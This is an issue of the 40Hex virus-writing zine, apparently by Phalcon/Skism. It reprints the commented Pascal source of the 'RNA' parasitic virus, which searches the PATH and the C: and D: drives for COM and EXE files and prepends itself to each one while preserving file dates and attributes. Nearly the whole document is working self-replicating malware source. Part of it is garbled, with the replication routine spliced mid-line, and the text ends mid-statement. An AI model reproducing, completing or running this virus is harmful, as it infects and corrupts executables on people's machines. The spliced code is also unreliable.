40Hex Issue 10 Volume 3 Number 1 File 003 The following is the source code for the RNA virus, a Pascal virus which preserves the functionality of the EXE files which it infects. It is a primitive virus, but is an example of a parasitic virus not written in assembly. ------------------------------------------------------------------------------- {$i-}{$m 2048,0,24576} Program RNA; { Commenting by Dark Angel of Phalcon/Skism } { for 40Hex Issue 10 Volume 3 Number 1 } uses dos; const blksize=8192; { buffer size } vsize=7200; { length of virus } wc='*.'; { part of file mask } counter=blksize-1; { location of the counter } cb=':\'; { colon backslash } maxinf:byte=4; { max # infections } maxruns:byte=48; { # runs before disinfection } drives:array[3..4] of char=('C','D'); { name of the drives } imf:string[12]='ux142.rqz'; { temporary file name } type vtype=array[1..vsize] of byte; { type of buffer for storing virus } buftype=array[1..blksize] of byte; { type of buffer for file operations } var ps:string; { path string } s:pathstr; { currently running program } ds:dirstr; { current directory } ns:namestr; { filename of current program } es:extstr; { extension of current program } v:^vtype; { buffer for virus code } buf:^buftype; { buffer for file copying } count,indx,inf:byte; attr,nr,nw:word; sr:searchrec; { for find first/find next calls } f,f2:file; { file handles } t:longint; { file time/date storage } procedure copyf; { copy file } begin repeat { copy the file in blocks } blockread(f,buf^,blksize,nr); { read from the source file } blockwrite(f2,buf^,nr,nw); { write to the target file } until (eof(f)); { stop if end of file reached } close(f); { close the source file } setftime(f2,t); { set file time/date of target } close(f2); { then close target file } end; Procedure stripf; { strip virus from the file } begin assign(f,s); { f = handle for current file } reset(f,1); { prepare it for reading } getftime(f,t); { save file creation time/date } assign(f2,ds+imf); { create temporary file } rewrite(f2,1); { prepare for writing } seek(f,vsize); { go past virus } copyf; { and copy uninfected file } end; procedure load; { load the virus from carrier file } begin assign(f,s); { f = handle for current file } getfattr(f,attr); { get its file attributes } reset(f,1); { and prepare it for reading } if ioresult=0 then { continue if no failure } begin getftime(f,t); { get file creation time/date } blockread(f,v^,vsize,nr); { read the virus to buffer } count:=v^[vsize]-1; { get the counter from the buffer } { and decrement it } v^[vsize]:=maxruns; { reset counter in buffer } seek(f,vsize-1); { go to generation counter in buffer } blockwrite(f,count,1,nr); { write new counter to file } setftime(f,t); { restore file time/date } close(f); { close the file } setfattr(f,attr); { restore its file attributes } end; end; function checkf(pth:dirstr):boolean; { check if file already infected } var by:array[1..27] of byte; { buffer for checking marker bytes } begin checkf:=false; { default to don't infect } if pos(sr.name,'COMMAND.COM')=0 then { don't infect COMMAND.COM } begin assign(f,pth+sr.name); { get filename } reset(f,1); { open for reading } if ioresult=0 then { continue if open ok } begin blockread(f,by,27,nr); { start checking the file } for indx:=1 to 27 do { to see if the virus is } if (by[indx])<>(v^[indx]) then { already there } checkf:=true; { if not, return infect ok } close(f); { close the file } end; end; end; procedure attach(pth:dirstr); { attach virus to start of file } begin inc(inf); { increment infection counter } assign(f2,pth+'zSqA.th'); { create temporary file } rewrite(f2,1); { open for writing } if ioresult=0 then { continue if no errors } begin assign(f,pth+sr.name); { open file to infect } getfattr(f,attr); { save its attributes } reset(f,1); { open for reading } getftime(f,t); { save its creation time/date } blockwrite(f2,v^,vsize,nr); { write the virus to the temp file } copyf; { copy the file to infect to the } erase(f); { temp file and erase original } rename(f2,sr.name); { rename the temp file to the name } setfattr(f2,attr); { of the original and restore file } end; { attributes } end; procedure rep(pth:dirstr;ext:extstr); { replicate within a directory } begin findfirst(pth+wc+ext,hidden+archive+readonly,sr); while (inf'') do { while more directories } begin indx:=pos(';',ps); { go to next directory } if indx=0 then { if not found, then at } begin { last directory } tmp:=ps; { copy directory name to } ps:=''; { variable } end else begin tmp:=copy(ps,1,indx-1); { copy directory name to } ps:=copy(ps,indx+1,length(ps)-indx); { variable } end; if tmp[length(tmp)]<>'\' then tmp:=tmp+'\'; { concatenate '\' if it } { isn't already there } rep(tmp,'cOm'); { infect *.COM } rep(tmp,'exE'); { infect *.EXE } end; end; procedure makep; { this makes a path if it } { isn't found in the system } var b:byte; begin getdir(0,ps); { get current drive } for b:=3 to 4 do { do this for C: and D: } begin ps:=ps+';'+drives[b]+cb+';'; { copy each drive to path } findfirst(drives[b]+cb+wc,directory,sr); { check if dirs on drive } while (doserror=0) and (length(ps)<240) do { if not, continue } begin ps:=ps+drives[b]+cb+sr.name+';'; { add all dirs to the path } findnext(sr); { do it again and again } end; end; end; procedure grow; begin inf:=0; { reset infection counter } ps:=getenv('path'); { get the current path } if ps<>'' then replicate; { infect files if path found } if inf